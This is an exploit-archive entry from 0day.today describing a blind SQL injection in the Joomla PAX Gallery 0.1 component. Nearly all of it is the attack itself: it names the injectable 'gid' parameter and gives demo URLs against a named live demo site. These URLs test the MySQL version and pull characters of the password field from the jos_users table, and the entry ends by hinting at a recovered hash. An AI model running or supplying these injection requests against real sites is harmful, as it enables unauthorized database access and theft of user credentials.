Joomla Component PAX Gallery 0.1 Blind SQL Injection Vulnerability

2008-12-28T00:00:00
ID 1337DAY-ID-4548
Type zdt
Reporter XaDoS
Modified 2008-12-28T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ==================================================================
Joomla Component PAX Gallery 0.1 Blind SQL Injection Vulnerability
==================================================================


[¦]  Joomla Component PAX Gallery v 0.1 (gid) <= Blind SQL Injection Vulnerability
 
>---------------------------------------<

> AuToR: XaDoS (SecurityCode Team)
> B§g: Blind $ql inJection
> Note: safe mode = ON
> Autor script: Tobias Floery
>---------------------------------------<
 

[¦] ExPL0iT:


|: http://www.example.com/path/com_paxgallery&task=table&gid=[$qL] 


[¦] D?M0: 

>Version:

|: http://www.komponenten.joomlademo.de/index.php?option=com_paxgallery&task=table&gid=1%20and%20substring(@@version,1,1)=5  [Ye$]
 
|: http://www.komponenten.joomlademo.de/index.php?option=com_paxgallery&task=table&gid=1%20and%20substring(@@version,1,1)=4 [Noo]
 
 
|: http://www.komponenten.joomlademo.de/index.php?option=com_paxgallery&task=table&gid=1%20and%20ascii(substring((select%20password%20from%20jos_users%20limit%201,1),1,1))%3E100
 
d8e423..ecc... ;-)



#  0day.today [2018-03-01]  #